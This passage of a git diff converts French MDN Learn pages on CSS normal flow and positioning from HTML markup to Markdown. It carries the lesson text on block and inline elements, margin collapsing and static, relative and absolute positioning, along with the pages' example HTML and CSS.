comme nous avons commencé à le découvrir, vous pouvez changer le comportement des éléments, soit en ajustant leur position dans ce cours normal, soit en les sortant totalement de ce cours. Commencer par un document solide, bien structuré et lisible en cours normal est la meilleure façon de commencer n'importe quelle page Web. Cela garantit un contenu lisible, même si l'utilisateur visite le site avec un navigateur peu performant ou un dispositif tel qu'un lecteur d'écran lisant le contenu de la page. De plus, comme le cours normal a été pensé pour faire en sorte que le document soit lisible, en commençant de cette façon, vous travaillez avec le document au lieu de vous battre contre lui quand vous apportez des modifications à la mise en page.</p> +Comme indiqué dans la précédente leçon d'introduction à la mise en page, les éléments d'une page Web suivent un cours normal de mise en page, si vous n'avez pas appliqué de CSS pour changer leur comportement. Et, comme nous avons commencé à le découvrir, vous pouvez changer le comportement des éléments, soit en ajustant leur position dans ce cours normal, soit en les sortant totalement de ce cours. Commencer par un document solide, bien structuré et lisible en cours normal est la meilleure façon de commencer n'importe quelle page Web. Cela garantit un contenu lisible, même si l'utilisateur visite le site avec un navigateur peu performant ou un dispositif tel qu'un lecteur d'écran lisant le contenu de la page. De plus, comme le cours normal a été pensé pour faire en sorte que le document soit lisible, en commençant de cette façon, vous travaillez avec le document au lieu de vous battre contre lui quand vous apportez des modifications à la mise en page. -<p>Avant d'approfondir les diverses méthodes de mise en page, revoir certaines choses déjà exposées dans les modules précédents à propos du cours normal d'affichage d'un document.</p> +Avant d'approfondir les diverses méthodes de mise en page, revoir certaines choses déjà exposées dans les modules précédents à propos du cours normal d'affichage d'un document. -<h2 id="Disposition_des_éléments_par_défaut">Disposition des éléments par défaut</h2> +## Disposition des éléments par défaut -<p>Tout d'abord, les boîtes des éléments pris isolément sont conditionnées en prenant le contenu des éléments, auquel, autour d'eux, est rapporté le remplissage, l'encadrement et la marge — conformément au modèle de boîte examiné plus tôt.</p> +Tout d'abord, les boîtes des éléments pris isolément sont conditionnées en prenant le contenu des éléments, auquel, autour d'eux, est rapporté le remplissage, l'encadrement et la marge — conformément au modèle de boîte examiné plus tôt. -<p>Par défaut, le contenu d'un élément de niveau bloc prend 100% de la largeur de son élément parent et sa hauteur est commandée par son contenu. Les éléments en ligne ont la hauteur et la largeur de leur contenu. Vous ne pouvez pas définir la largeur ou la hauteur d'éléments en ligne — ils se trouvent uniquement à l'intérieur d'un contenu d'élément de niveau bloc. Si vous voulez contrôler la taille d'un élément en ligne de cette manière, vous devez le paramétrer pour qu'il se comporte comme un élément de niveau bloc avec <code>display: bloc ;</code> (ou même <code>display: inline-block ;</code> qui mélange les caractéristiques des deux).</p> +Par défaut, le contenu d'un élément de niveau bloc prend 100% de la largeur de son élément parent et sa hauteur est commandée par son contenu. Les éléments en ligne ont la hauteur et la largeur de leur contenu. Vous ne pouvez pas définir la largeur ou la hauteur d'éléments en ligne — ils se trouvent uniquement à l'intérieur d'un contenu d'élément de niveau bloc. Si vous voulez contrôler la taille d'un élément en ligne de cette manière, vous devez le paramétrer pour qu'il se comporte comme un élément de niveau bloc avec `display: bloc ;` (ou même `display: inline-block ;` qui mélange les caractéristiques des deux). -<p>Ce qui précède explique le comportement des éléments pris individuellement, mais qu'en est-il de la façon dont les éléments interagissent les uns avec les autres ? Le cours normal de mise en page (mentionné dans l'article d'introduction à la mise en page) est le système par lequel les éléments sont placés à l'intérieur de la fenêtre de vue du navigateur. Par défaut, les éléments de niveau bloc sont disposés dans le sens où les blocs s'affichent dans le mode d'écriture du document — chacun apparaît sur une nouvelle ligne en dessous de la dernière et ils sont séparés par la marge qui leur a été assignée. En anglais donc, ou tout autre mode d'écriture horizontal, de haut en bas, les éléments de niveau bloc sont empilés verticalement.</p> +Ce qui précède explique le comportement des éléments pris individuellement, mais qu'en est-il de la façon dont les éléments interagissent les uns avec les autres ? Le cours normal de mise en page (mentionné dans l'article d'introduction à la mise en page) est le système par lequel les éléments sont placés à l'intérieur de la fenêtre de vue du navigateur. Par défaut, les éléments de niveau bloc sont disposés dans le sens où les blocs s'affichent dans le mode d'écriture du document — chacun apparaît sur une nouvelle ligne en dessous de la dernière et ils sont séparés par la marge qui leur a été assignée. En anglais donc, ou tout autre mode d'écriture horizontal, de haut en bas, les éléments de niveau bloc sont empilés verticalement. -<p>Les éléments en ligne se comportent différemment — ils ne sont pas sur une nouvelle ligne ; ils se placent sur la même ligne qu'un autre élément inline ou que n'importe quel contenu textuel adjacent (ou entourant) tant qu'il y a de la place pour eux dans la largeur de l'élément parent de niveau de bloc. S'il n'y a pas suffisamment d'espace, le texte ou les éléments débordants se déplaceront sur une nouvelle ligne.</p> +Les éléments en ligne se comportent différemment — ils ne sont pas sur une nouvelle ligne ; ils se placent sur la même ligne qu'un autre élément inline ou que n'importe quel contenu textuel adjacent (ou entourant) tant qu'il y a de la place pour eux dans la largeur de l'élément parent de niveau de bloc. S'il n'y a pas suffisamment d'espace, le texte ou les éléments débordants se déplaceront sur une nouvelle ligne. -<p>Si deux éléments adjacents ont tous deux une marge et que les deux marges se touchent, seule reste la plus grande des deux et la plus petite est englobée dans la plus grande — c'est ce qu'on appelle la fusion des marges ; nous l'avons déjà rencontrée plus haut.</p> +Si deux éléments adjacents ont tous deux une marge et que les deux marges se touchent, seule reste la plus grande des deux et la plus petite est englobée dans la plus grande — c'est ce qu'on appelle la fusion des marges ; nous l'avons déjà rencontrée plus haut. -<p>Voici un exemple simple expliquant cela :</p> +Voici un exemple simple expliquant cela : -<h3 id="Exemple">Exemple</h3> +### Exemple -<pre class="brush: html"><h2>Cours d'un document de base</h2> +```html +<h2>Cours d'un document de base</h2> -<p>Je suis un élément de niveau bloc de base. +<p>Je suis un élément de niveau bloc de base. Mes éléments de niveau bloc adjacents sont sur de - nouvelles lignes en dessous de moi.</p> + nouvelles lignes en dessous de moi.</p> -<p>Par défaut, nous occupons 100% de la largeur +<p>Par défaut, nous occupons 100% de la largeur de notre élément parent et nous sommes aussi hauts que notre contenu enfant. Nos largeur et hauteur totales sont égales à la largeur/hauteur de notre - contenu + remplissage + encadrement.</p> + contenu + remplissage + encadrement.</p> -<p>Nous sommes séparés de nos marges. +<p>Nous sommes séparés de nos marges. Comme il y a fusion des marges, nous sommes séparés - par la largeur de l'une de nos marges et non les deux.</p> + par la largeur de l'une de nos marges et non les deux.</p> -<p>Des éléments <code>inline</code> <span>comme celui-ci</span> ou - <span>celui‑là</span> sont placés sur la même ligne et +<p>Des éléments inline <span>comme celui-ci</span> ou + <span>celui‑là</span> sont placés sur la même ligne et les nœuds de texte adjacents, s'il y a de la place sur la même ligne. Les débordements des éléments inline - <span>sont placés sur une nouvelle ligne si possible - (comme celle‑ci contenant du texte)</span>, sinon ils + <span>sont placés sur une nouvelle ligne si possible + (comme celle‑ci contenant du texte)</span>, sinon ils sont placés sur une nouvelle ligne, comme cette image : - <img src="long.jpg"></p></pre> + <img src="long.jpg"></p> +``` -<pre class="brush: css">body { +```css +body { width: 500px; margin: 0 auto; } @@ -83,27 +96,26 @@ p { span { background: white; border: 1px solid black; -}</pre> +} +``` -<p>{{ EmbedLiveSample('Exemple', '100%', 500) }}</p> +{{ EmbedLiveSample('Exemple', '100%', 500) }} -<h2 id="Résumé">Résumé</h2> +## Résumé -<p>Maintenant que vous avez vu ce qu'est le cours normal de la mise en page et la façon dont le navigateur présente les choses par défaut, passons à la page suivante pour comprendre comment modifier cet affichage par défaut pour créer une mise en page conforme à votre design.</p> +Maintenant que vous avez vu ce qu'est le cours normal de la mise en page et la façon dont le navigateur présente les choses par défaut, passons à la page suivante pour comprendre comment modifier cet affichage par défaut pour créer une mise en page conforme à votre design. -<p>{{PreviousMenuNext("Learn/CSS/CSS_layout/Introduction", "Learn/CSS/CSS_layout/Flexbox", "Learn/CSS/CSS_layout")}}</p> +{{PreviousMenuNext("Learn/CSS/CSS_layout/Introduction", "Learn/CSS/CSS_layout/Flexbox", "Learn/CSS/CSS_layout")}} -<h2 id="Dans_ce_module">Dans ce module</h2> +## Dans ce module -<ul> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Introduction">Introduction to CSS layout</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Normal_Flow">Normal Flow</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Flexbox">Flexbox</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Grids">Grid</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Floats">Floats</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Positioning">Positioning</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Multiple-column_Layout">Multiple-column Layout</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods">Legacy Layout Methods</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Supporting_Older_Browsers">Supporting older browsers</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension">Fundamental Layout Comprehension Assessment</a></li> -</ul> +- [Introduction to CSS layout](/fr/docs/Learn/CSS/CSS_layout/Introduction) +- [Normal Flow](/fr/docs/Learn/CSS/CSS_layout/Normal_Flow) +- [Flexbox](/fr/docs/Learn/CSS/CSS_layout/Flexbox) +- [Grid](/fr/docs/Learn/CSS/CSS_layout/Grids) +- [Floats](/fr/docs/Learn/CSS/CSS_layout/Floats) +- [Positioning](/fr/docs/Learn/CSS/CSS_layout/Positioning) +- [Multiple-column Layout](/fr/docs/Learn/CSS/CSS_layout/Multiple-column_Layout) +- [Legacy Layout Methods](/fr/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods) +- [Supporting older browsers](/fr/docs/Learn/CSS/CSS_layout/Supporting_Older_Browsers) +- [Fundamental Layout Comprehension Assessment](/fr/docs/Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension) diff --git a/files/fr/learn/css/css_layout/positioning/index.md b/files/fr/learn/css/css_layout/positioning/index.md index 8485a78f70..5e70ea8b8b 100644 --- a/files/fr/learn/css/css_layout/positioning/index.md +++ b/files/fr/learn/css/css_layout/positioning/index.md @@ -18,82 +18,89 @@ tags: translation_of: Learn/CSS/CSS_layout/Positioning original_slug: Apprendre/CSS/CSS_layout/Le_positionnement --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/CSS_layout/Floats", "Apprendre/CSS/CSS_layout/Multiple-column_Layout", "Learn/CSS/CSS_layout")}} -<div>{{PreviousMenuNext("Learn/CSS/CSS_layout/Floats", "Apprendre/CSS/CSS_layout/Multiple-column_Layout", "Learn/CSS/CSS_layout")}}</div> - -<p>Le positionnement permet de sortir les éléments du cours normal de composition du document, et faire qu'ils se comportent différemment, par exemple de se placer sur un autre, ou de toujours rester à la même place dans le cadre d'affichage (viewport) du navigateur. Cet article explique les diverses valeurs de {{cssxref("position")}}, et comment les utiliser.</p> +Le positionnement permet de sortir les éléments du cours normal de composition du document, et faire qu'ils se comportent différemment, par exemple de se placer sur un autre, ou de toujours rester à la même place dans le cadre d'affichage (viewport) du navigateur. Cet article explique les diverses valeurs de {{cssxref("position")}}, et comment les utiliser. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis:</th> - <td>Les fondamentaux du HTML (étudiez <a href="/fr/Apprendre/HTML/Introduction_à_HTML">Introduction au HTML</a>), et une idée du fonctionnement de CSS (étudiez <a href="/fr/Apprendre/CSS/Introduction_à_CSS">Introduction à CSS</a>.)</td> - </tr> - <tr> - <th scope="row">Objectif:</th> - <td>Savoir comment fonctionne le positionnement avec les CSS.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis:</th> + <td> + Les fondamentaux du HTML (étudiez + <a href="/fr/Apprendre/HTML/Introduction_à_HTML">Introduction au HTML</a + >), et une idée du fonctionnement de CSS (étudiez + <a href="/fr/Apprendre/CSS/Introduction_à_CSS">Introduction à CSS</a>.) + </td> + </tr> + <tr> + <th scope="row">Objectif:</th> + <td>Savoir comment fonctionne le positionnement avec les CSS.</td> + </tr> + </tbody> </table> -<p>Nous aimerions que vous suiviez, si possible, les exercices sur votre ordinateur — prenez une copie de <code><a href="http://mdn.github.io/learning-area/css/css-layout/positioning/0_basic-flow.html">0_basic-flow.html</a></code> sur le dépôt Github (<a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/positioning/0_basic-flow.html">code source ici</a>) et utilisez-le comme point de départ.</p> +Nous aimerions que vous suiviez, si possible, les exercices sur votre ordinateur — prenez une copie de [`0_basic-flow.html`](http://mdn.github.io/learning-area/css/css-layout/positioning/0_basic-flow.html) sur le dépôt Github ([code source ici](https://github.com/mdn/learning-area/blob/master/css/css-layout/positioning/0_basic-flow.html)) et utilisez-le comme point de départ. -<h2 id="Introduction_au_positionnement">Introduction au positionnement</h2> +## Introduction au positionnement -<p>Le positionnement permet de modifier le cours classique de la mise en page pour produire des effets intéressants. Vous souhaitez modifier légèrement le placement de boîtes par rapport à leur position par défaut dans la mise en page, et donner ainsi une touche d'originalité à votre page ? Vous souhaitez créer un élément d'interface utilisateur flottant au‑dessus d'autres parties de la page, et/ou que cet élément reste fixé à la même place dans la fenêtre du navigateur, quel que soit le point de défilement de la page ? Le positionnement est l'outil qu'il vous faut, il rend de tels agencements possibles.</p> +Le positionnement permet de modifier le cours classique de la mise en page pour produire des effets intéressants. Vous souhaitez modifier légèrement le placement de boîtes par rapport à leur position par défaut dans la mise en page, et donner ainsi une touche d'originalité à votre page ? Vous souhaitez créer un élément d'interface utilisateur flottant au‑dessus d'autres parties de la page, et/ou que cet élément reste fixé à la même place dans la fenêtre du navigateur, quel que soit le point de défilement de la page ? Le positionnement est l'outil qu'il vous faut, il rend de tels agencements possibles. -<p>Il y a différents types de positionnement que vous pouvez appliquer à des éléments HTML. Pour utiliser un type particulier de positionnement sur un élément, nous utilisons la propriété {{cssxref("position")}}.</p> +Il y a différents types de positionnement que vous pouvez appliquer à des éléments HTML. Pour utiliser un type particulier de positionnement sur un élément, nous utilisons la propriété {{cssxref("position")}}. -<h3 id="Positionnement_«_static_»">Positionnement « static »</h3> +### Positionnement « static » -<p>Le positionnement <code>static</code> est celui reçu par défaut par chaque élément — cela veut tout simplement dire « positionner l'élément selon le cours normal de placement — rien de spécial à voir ici ».</p> +Le positionnement `static` est celui reçu par défaut par chaque élément — cela veut tout simplement dire « positionner l'élément selon le cours normal de placement — rien de spécial à voir ici ». -<p>Pour le démontrer et avoir préparer un premier exemple pour les prochaines sections, ajoutez tout d'abord une classe <code>positioned</code> pour le deuxième {{htmlelement("p")}} dans le HTML:</p> +Pour le démontrer et avoir préparer un premier exemple pour les prochaines sections, ajoutez tout d'abord une classe `positioned` pour le deuxième {{htmlelement("p")}} dans le HTML: -<pre class="brush: html"><p class="positioned"> ... </p></pre> +```html +<p class="positioned"> ... </p> +``` -<p>Puis ajoutez la règle suivante au bas de votre CSS:</p> +Puis ajoutez la règle suivante au bas de votre CSS: -<pre class="brush: css">.positioned { +```css +.positioned { position: static; - background: yellow; }</pre> + background: yellow; } +``` -<p>Si maintenant vous sauvegardez et actualisez, vous verrez qu'il n'y a aucune différence, à l'exception de la mise à jour de la couleur de l'arrière-plan du deuxième paragraphe. C'est correct, comme nous l'avons vu plus tôt, le positionnement statique est le comportement par défaut !</p> +Si maintenant vous sauvegardez et actualisez, vous verrez qu'il n'y a aucune différence, à l'exception de la mise à jour de la couleur de l'arrière-plan du deuxième paragraphe. C'est correct, comme nous l'avons vu plus tôt, le positionnement statique est le comportement par défaut ! -<div class="note"> -<p><strong>Note :</strong> ce lien <code><a href="http://mdn.github.io/learning-area/css/css-layout/positioning/1_static-positioning.html">1_static-positioning.html</a></code> (<a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/positioning/1_static-positioning.html">voir le code source</a>) pointe sur un exemple de positionnement « static ».</p> -</div> +> **Note :** ce lien [`1_static-positioning.html`](http://mdn.github.io/learning-area/css/css-layout/positioning/1_static-positioning.html) ([voir le code source](https://github.com/mdn/learning-area/blob/master/css/css-layout/positioning/1_static-positioning.html)) pointe sur un exemple de positionnement « static ». -<h3 id="Positionnement_«_relative_»">Positionnement « relative »</h3> +### Positionnement « relative » -<p>Le positionnement relatif est le premier type de positionnement que nous allons étudier. Il est très similaire au positionnement statique. Cependant, une fois que l'élément positionné occupe une place dans le cours normal de la mise en page, vous pourrez modifier sa position finale. Vous pourrez par exemple le faire chevaucher d'autres éléments de la page. Poursuivons : mettez à jour la déclaration de <code>position</code> dans le code :</p> +Le positionnement relatif est le premier type de positionnement que nous allons étudier. Il est très similaire au positionnement statique. Cependant, une fois que l'élément positionné occupe une place dans le cours normal de la mise en page, vous pourrez modifier sa position finale. Vous pourrez par exemple le faire chevaucher d'autres éléments de la page. Poursuivons : mettez à jour la déclaration de `position` dans le code : -<pre class="brush: css">position: relative;</pre> +```css +position: relative; +``` -<p>Si vous sauvegardez et actualisez à ce stade, vous ne verrez aucun changement dans le résultat. Alors, comment modifier la position de l'élément ? Vous avez besoin d'employer les propriétés {{cssxref("top")}}, {{cssxref("bottom")}}, {{cssxref("left")}} et {{cssxref("right")}} dont nous parlerons dans le prochain paragraphe.</p> +Si vous sauvegardez et actualisez à ce stade, vous ne verrez aucun changement dans le résultat. Alors, comment modifier la position de l'élément ? Vous avez besoin d'employer les propriétés {{cssxref("top")}}, {{cssxref("bottom")}}, {{cssxref("left")}} et {{cssxref("right")}} dont nous parlerons dans le prochain paragraphe. -<h3 id="Présentation_de_«_top_»_«_bottom_»_«_left_»_et_«_right_»">Présentation de « top », « bottom », « left » et « right »</h3> +### Présentation de « top », « bottom », « left » et « right » -<p>{{cssxref("top")}}, {{cssxref("bottom")}}, {{cssxref("left")}} et {{cssxref("right")}} sont utilisés conjointement à {{cssxref("position")}} pour définir exactement là où placer l'élément positionné. Pour le tester, ajoutez les déclarations suivantes à la règle <code>.positioned</code> dans la CSS :</p> +{{cssxref("top")}}, {{cssxref("bottom")}}, {{cssxref("left")}} et {{cssxref("right")}} sont utilisés conjointement à {{cssxref("position")}} pour définir exactement là où placer l'élément positionné. Pour le tester, ajoutez les déclarations suivantes à la règle `.positioned` dans la CSS : -<pre>top: 30px; -left: 30px;</pre> + top: 30px; + left: 30px; -<div class="note"> -<p><strong>Note :</strong> les valeurs de ces propriétés peuvent prendre n'importe quelle <a href="/fr/Apprendre/CSS/Introduction_à_CSS/Values_and_units">unité</a> logiquement attendue — pixels, mm, rem, %, etc.</p> -</div> +> **Note :** les valeurs de ces propriétés peuvent prendre n'importe quelle [unité](/fr/Apprendre/CSS/Introduction_à_CSS/Values_and_units) logiquement attendue — pixels, mm, rem, %, etc. -<p>Si vous enregistrez et actualisez maintenant, vous verrez ce résultat :</p> +Si vous enregistrez et actualisez maintenant, vous verrez ce résultat : -<pre class="brush: html hidden"><h1>Positionnement relatif</h1> -<p>Je suis élément de base de niveau bloc. Les éléments de niveau de bloc adjacents se trouvent sur de nouvelles lignes en dessous de moi.</p> -<p class="positioned">Par défaut, je couvre 100% de la largeur de mon élément parent et je suis aussi haut que mon contenu enfant. Mes largeur et hauteur totales sont égales aux largeur et hauteur du contenu, plus celles du remplissage, plus celles de l'encadrement.</p> -<p>Entre éléments adjacents, nous sommes séparés par nos marges. En raison de la fusion des marges, nous sommes séparés par la largeur de la plus grande de nos marges, et non par la somme des deux.</p> -<p>Les éléments « inline » <span>comme celui-ci </span>ou <span>cet autre</span> sont sur une même ligne que les nœuds de texte adjacents, s'il y a de la place sur la même ligne. Les éléments « inline » débordants <span>se replient, si possible, sur une nouvelle ligne — comme celle-ci contenant du texte</span> ; sinon, ils passent simplement à une nouvelle ligne, un peu comme cette image le fait : <img src="long.jpg"></p> -</pre> +```html hidden +<h1>Positionnement relatif</h1> +<p>Je suis élément de base de niveau bloc. Les éléments de niveau de bloc adjacents se trouvent sur de nouvelles lignes en dessous de moi.</p> +<p class="positioned">Par défaut, je couvre 100% de la largeur de mon élément parent et je suis aussi haut que mon contenu enfant. Mes largeur et hauteur totales sont égales aux largeur et hauteur du contenu, plus celles du remplissage, plus celles de l'encadrement.</p> +<p>Entre éléments adjacents, nous sommes séparés par nos marges. En raison de la fusion des marges, nous sommes séparés par la largeur de la plus grande de nos marges, et non par la somme des deux.</p> +<p>Les éléments « inline » <span>comme celui-ci </span>ou <span>cet autre</span> sont sur une même ligne que les nœuds de texte adjacents, s'il y a de la place sur la même ligne. Les éléments « inline » débordants <span>se replient, si possible, sur une nouvelle ligne — comme celle-ci contenant du texte</span> ; sinon, ils passent simplement à une nouvelle ligne, un peu comme cette image le fait : <img src="long.jpg"></p> +``` -<pre class="brush: css hidden">body { +```css hidden +body { width: 500px; margin: 0 auto; } p { @@ -108,32 +115,33 @@ span { position: relative; background: yellow; top: 30px; - left: 30px; }</pre> + left: 30px; } +``` -<p>{{ EmbedLiveSample('Présentation_de_«_top_»_«_bottom_»_«_left_»_et_«_right_»', '100%', 500) }}</p> +{{ EmbedLiveSample('Présentation_de_«_top_»_«_bottom_»_«_left_»_et_«_right_»', '100%', 500) }} -<p>Cool, n'est-ce-pas ? Oui, mais ce n'était probablement pas ce à quoi vous vous attendiez. Pourquoi le déplacement s'est‑il effectué vers le bas et à droite si nous avons défini <code>top</code> (haut) et <code>left</code> (gauche) ? Même si cela peut paraître illogique, c'est la façon dont fonctionne le positionnement relatif. Songez à une force invisible poussant le côté spécifié de l'élément à positionner, le déplaçant ainsi dans la direction opposé. Par exemple, si nous spécifions <code>top: 30px;</code>, une force pousse le haut de la boîte, entraînant son déplacement vers le bas de 30px.</p> +Cool, n'est-ce-pas ? Oui, mais ce n'était probablement pas ce à quoi vous vous attendiez. Pourquoi le déplacement s'est‑il effectué vers le bas et à droite si nous avons défini `top` (haut) et `left` (gauche) ? Même si cela peut paraître illogique, c'est la façon dont fonctionne le positionnement relatif. Songez à une force invisible poussant le côté spécifié de l'élément à positionner, le déplaçant ainsi dans la direction opposé. Par exemple, si nous spécifions `top: 30px;`, une force pousse le haut de la boîte, entraînant son déplacement vers le bas de 30px. -<div class="note"> -<p><strong>Note :</strong> à ce stade de l'article, vous pouvez retrouver un exemple ici <code><a href="http://mdn.github.io/learning-area/css/css-layout/positioning/2_relative-positioning.html">2_relative-positioning.html</a></code> (<a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/positioning/2_relative-positioning.html">voir le code source</a>).</p> -</div> +> **Note :** à ce stade de l'article, vous pouvez retrouver un exemple ici [`2_relative-positioning.html`](http://mdn.github.io/learning-area/css/css-layout/positioning/2_relative-positioning.html) ([voir le code source](https://github.com/mdn/learning-area/blob/master/css/css-layout/positioning/2_relative-positioning.html)). -<h3 id="Positionnement_«_absolute_»">Positionnement « absolute »</h3> +### Positionnement « absolute » -<p>Le positionnement absolu nous apporte des résultats bien différents. Modifions la déclaration de <code>position</code> dans le code :</p> +Le positionnement absolu nous apporte des résultats bien différents. Modifions la déclaration de `position` dans le code : -<pre>position: absolute;</pre> + position: absolute; -<p>Si vous enregistrez et actualisez maintenant, vous verrez quelque chose comme ceci apparaitre :</p> +Si vous enregistrez et actualisez maintenant, vous verrez quelque chose comme ceci apparaitre : -<pre class="brush: html hidden"><h1>Positionnement absolu</h1> -<p>Je suis élément de base de niveau bloc. Les éléments de niveau de bloc adjacents se trouvent sur de nouvelles lignes en dessous de moi.</p> -<p class="positioned">Par défaut, je couvre 100% de la largeur de mon élément parent et je suis aussi haut que mon contenu enfant. Mes largeur et hauteur totales sont égales aux largeur et hauteur du contenu, plus celles du remplissage, plus celles de l'encadrement.</p> -<p>Entre éléments adjacents, nous sommes séparés par nos marges. En raison de la fusion des marges, nous sommes séparés par la largeur de la plus grande de nos marges, et non par la somme des deux.</p> -<p>Les éléments « inline » <span>comme celui-ci </span>ou <span>cet autre</span> sont sur une même ligne que les noeuds de texte adjacents, s'il y a de la place sur la même ligne. Les éléments « inline » débordants <span>se replient, si possible, sur une nouvelle ligne — comme celle-ci contenant du texte</span> ; sinon, ils passent simplement à une nouvelle ligne, un peu comme cette image le fait : <img src="long.jpg"></p> -</pre> +```html hidden +<h1>Positionnement absolu</h1> +<p>Je suis élément de base de niveau bloc. Les éléments de niveau de bloc adjacents se trouvent sur de nouvelles lignes en dessous de moi.</p> +<p class="positioned">Par défaut, je couvre 100% de la largeur de mon élément parent et je suis aussi haut que mon contenu enfant. Mes largeur et hauteur totales sont égales aux largeur et hauteur du contenu, plus celles du remplissage, plus celles de l'encadrement.</p> +<p>Entre éléments adjacents, nous sommes séparés par nos marges. En raison de la fusion des marges, nous sommes séparés par la largeur de la plus grande de nos marges, et non par la somme des deux.</p> +<p>Les éléments « inline » <span>comme celui-ci </span>ou <span>cet autre</span> sont sur une même ligne que les noeuds de texte adjacents, s'il y a de la place sur la même ligne. Les éléments « inline » débordants <span>se replient, si possible, sur une nouvelle ligne — comme celle-ci contenant du texte</span> ; sinon, ils passent simplement à une nouvelle ligne, un peu comme cette image le fait : <img src="long.jpg"></p> +``` -<pre class="brush: css hidden">body { +```css hidden +body { width: 500px; margin: 0 auto; } p { @@ -148,45 +156,42 @@ span { position: absolute; background: yellow; top: 30px; - left: 30px; }</pre> + left: 30px; } +``` -<p>{{ EmbedLiveSample('Positionnement_«_absolute_»', '100%', 420) }}</p> +{{ EmbedLiveSample('Positionnement_«_absolute_»', '100%', 420) }} -<p>Tout d'abord, notez que l'emplacement où l'élément à positionner aurait dû se trouver dans le cours normal de la mise en page du document ne s'y trouve plus. Le premier élément et le troisième sont l'un à côté de l'autre comme si le second n'existait plus ! Dans un sens, c'est le cas. Un élément positionné de manière absolue ne fait plus partie du cours normal de la mise en page. Il se trouve maintenant sur un plan qui lui est propre, séparé de tout le reste. C'est très utile : cela signifie que nous pouvons créer une fonctionnalité d'interface graphique isolée qui n'interfère pas avec la position des autres éléments sur la page. Par exemple, des boîtes d'informations contextuelles (popup), des menus de contrôle, des panneaux déroulants (rollover panels), des fonctionnalités d'interface utilisateur que l'on peut glisser et déposer n'importe où sur la page, et bien plus encore.</p> +Tout d'abord, notez que l'emplacement où l'élément à positionner aurait dû se trouver dans le cours normal de la mise en page du document ne s'y trouve plus. Le premier élément et le troisième sont l'un à côté de l'autre comme si le second n'existait plus ! Dans un sens, c'est le cas. Un élément positionné de manière absolue ne fait plus partie du cours normal de la mise en page. Il se trouve maintenant sur un plan qui lui est propre, séparé de tout le reste. C'est très utile : cela signifie que nous pouvons créer une fonctionnalité d'interface graphique isolée qui n'interfère pas avec la position des autres éléments sur la page. Par exemple, des boîtes d'informations contextuelles (popup), des menus de contrôle, des panneaux déroulants (rollover panels), des fonctionnalités d'interface utilisateur que l'on peut glisser et déposer n'importe où sur la page, et bien plus encore. -<p>Ensuite, notez que la position de l'élément a changé. {{cssxref("top")}}, {{cssxref("bottom")}}, {{cssxref("left")}} et {{cssxref("right")}} se comportent différemment avec le positionnement absolu. Au lieu de positionner l'élément en fonction de sa position relative dans la mise en page du document, ils définissent la distance à laquelle l'élément doit se situer par rapport aux côtés de l'élément contenant. Dans ce cas, nous indiquons que l'élément à positionner de manière absolue doit se placer à 30px du haut et à 30px de la gauche de « l'élément conteneur ». (Dans ce cas, le bloc conteneur initial. Voir la section ci-dessous pour plus d'information)</p> +Ensuite, notez que la position de l'élément a changé. {{cssxref("top")}}, {{cssxref("bottom")}}, {{cssxref("left")}} et {{cssxref("right")}} se comportent différemment avec le positionnement absolu. Au lieu de positionner l'élément en fonction de sa position relative dans la mise en page du document, ils définissent la distance à laquelle l'élément doit se situer par rapport aux côtés de l'élément contenant. Dans ce cas, nous indiquons que l'élément à positionner de manière absolue doit se placer à 30px du haut et à 30px de la gauche de « l'élément conteneur ». (Dans ce cas, le bloc conteneur initial. Voir la section ci-dessous pour plus d'information) -<div class="note"> -<p><strong>Note :</strong> vous pouvez utiliser {{cssxref("top")}}, {{cssxref("bottom")}}, {{cssxref("left")}} et {{cssxref("right")}} pour redimensionner les éléments selon vos besoins. Définissez <code>top: 0; bottom: 0; left: 0; right: 0;</code> et <code>margin: 0;</code> sur les éléments à positionner et voyez ce qu'il se produit ! Réinitialisez le tout ensuite...</p> -</div> +> **Note :** vous pouvez utiliser {{cssxref("top")}}, {{cssxref("bottom")}}, {{cssxref("left")}} et {{cssxref("right")}} pour redimensionner les éléments selon vos besoins. Définissez `top: 0; bottom: 0; left: 0; right: 0;` et `margin: 0;` sur les éléments à positionner et voyez ce qu'il se produit ! Réinitialisez le tout ensuite... -<div class="note"> -<p><strong>Note :</strong> Les marges affectent toujours les éléments à positionner. Toutefois, la fusion de marges ne se fait pas.</p> -</div> +> **Note :** Les marges affectent toujours les éléments à positionner. Toutefois, la fusion de marges ne se fait pas. -<div class="note"> -<p><strong>Note :</strong> à ce stade de l'article, vous pouvez voir un exemple ici <code><a href="http://mdn.github.io/learning-area/css/css-layout/positioning/3_absolute-positioning.html">3_absolute-positioning.html</a></code> (<a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/positioning/3_absolute-positioning.html">voir le code source</a>).</p> -</div> +> **Note :** à ce stade de l'article, vous pouvez voir un exemple ici [`3_absolute-positioning.html`](http://mdn.github.io/learning-area/css/css-layout/positioning/3_absolute-positioning.html) ([voir le code source](https://github.com/mdn/learning-area/blob/master/css/css-layout/positioning/3_absolute-positioning.html)). -<h3 id="Contextes_de_positionnement">Contextes de positionnement</h3> +### Contextes de positionnement -<p>Quel élément est « le conteneur » d'un élément positionné de manière absolue ? Par défaut, c'est l'élément {{htmlelement("html")}} — l'élément à position absolue est imbriqué dans l'élément {{htmlelement("body")}} dans le code source HTML, mais dans le rendu final, il est éloigné de 30px du haut et de la gauche du bord de page, qui est l'élément {{htmlelement("html")}}. Cela s'appelle plus précisément <strong>le contexte de positionnement</strong> de l'élément.</p> +Quel élément est « le conteneur » d'un élément positionné de manière absolue ? Par défaut, c'est l'élément 